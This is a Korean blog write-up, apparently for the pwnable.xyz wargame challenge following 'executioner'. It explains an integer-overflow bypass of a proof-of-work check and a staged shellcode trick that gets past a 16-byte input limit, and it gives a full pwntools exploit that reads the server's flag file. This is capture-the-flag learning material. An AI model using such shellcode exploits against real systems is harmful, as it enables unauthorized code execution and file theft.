+ 문제를 풀고 나서 알게 된 건데 바이너리에 win이라는 함수가 있었다. (...)
executioner랑 다른 점이 두 가지가 있다.
printf("POW: <x + y == 0x%x\n", n);
printf("> ");
if ( (unsigned int)_isoc99_scanf("%u %u", &x, &y) != 2 || !x || !y )
{
puts("error");
exit(1);
}
getchar();
if ( y + x != n )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(x * y);
|
x와 y로 0을 못 넣게 조건이 추가되었다. n이 짝수인 경우에 x를 2147483648, y를 n-2147483648로 하면 x*y는 0이 되어서 쉽게 통과할 수 있다.
read(fd, key, 0x10uLL);
close(fd);
printf("Input: ");
read(0, inpt, 0x10uLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
page = mmap(NULL, 0x1000uLL, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0LL);
memcpy(page, inpt, 0x10uLL);
((void (__fastcall *)(_QWORD, _QWORD, _QWORD *, _QWORD, _QWORD, _QWORD))page)(0LL, 0LL, page, 0LL, 0LL, 0LL);
|
0x10 바이트만 입력받고 jmp 대신 call (call near, absolute indirect) 을 사용한다.
암호화 우회는 executioner와 같은 방식으로 해 주면 되고, syscall read를 다시 한 번 호출해 inpt 뒤에 코드를 붙여 써서 길이 제한을 우회할 수 있다.
.text:0000000000000E3F xor rax, rax
.text:0000000000000E42 xor rbx, rbx
.text:0000000000000E45 xor rcx, rcx
.text:0000000000000E48 xor rdx, rdx
.text:0000000000000E4B xor rsi, rsi
.text:0000000000000E4E xor rdi, rdi
.text:0000000000000E51 xor r8, r8
.text:0000000000000E54 xor r9, r9
.text:0000000000000E57 xor r10, r10
.text:0000000000000E5A xor r11, r11
.text:0000000000000E5D xor r12, r12
.text:0000000000000E60 xor r13, r13
.text:0000000000000E63 xor r14, r14
.text:0000000000000E66 xor r15, r15
|
call rdx; 전 rbp와 rsp를 제외한 모든 범용 레지스터를 0으로 초기화시키는 과정 덕분에 syscall과 인자 설정을 위한 명령어 몇 개를 생략할 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
from pwn import *
import argparse context.arch = 'amd64' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30028) else : p = process('./challenge') def log_error(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def exploit() : n = int(p.readline().rstrip().split()[-1], 16) if n%2 == 1 : log_error('n is odd') p.close() exit(1) p.writelineafter(b'> ', '2147483648 {}'.format((n-0x80000000)%0x100000000)) code = ''' add byte ptr [rbp+0x0], al lea rsi, [rdx+0x10] mov rdx, 0x1000 syscall ''' p.write(asm(code)) code = ''' mov r15, rsi mov r14, 0x67616c662f mov qword ptr [r15+0x400], r14 lea rdi, qword ptr [r15+0x400] mov rsi, 0 mov rax, 2 syscall mov rdi, rax lea rsi, [r15+0x408] mov rdx, 0x40 mov rax, 0 syscall mov rdi, 1 mov rax, 1 syscall ''' p.write(asm(code)) p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/10/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / Hero Factory (0) | 2020.05.01 |
---|---|
pwnable.xyz / note v2 (0) | 2020.05.01 |
pwnable.xyz / badayum (0) | 2020.04.10 |
pwnable.xyz / password (0) | 2020.04.10 |
pwnable.xyz / executioner (0) | 2020.04.09 |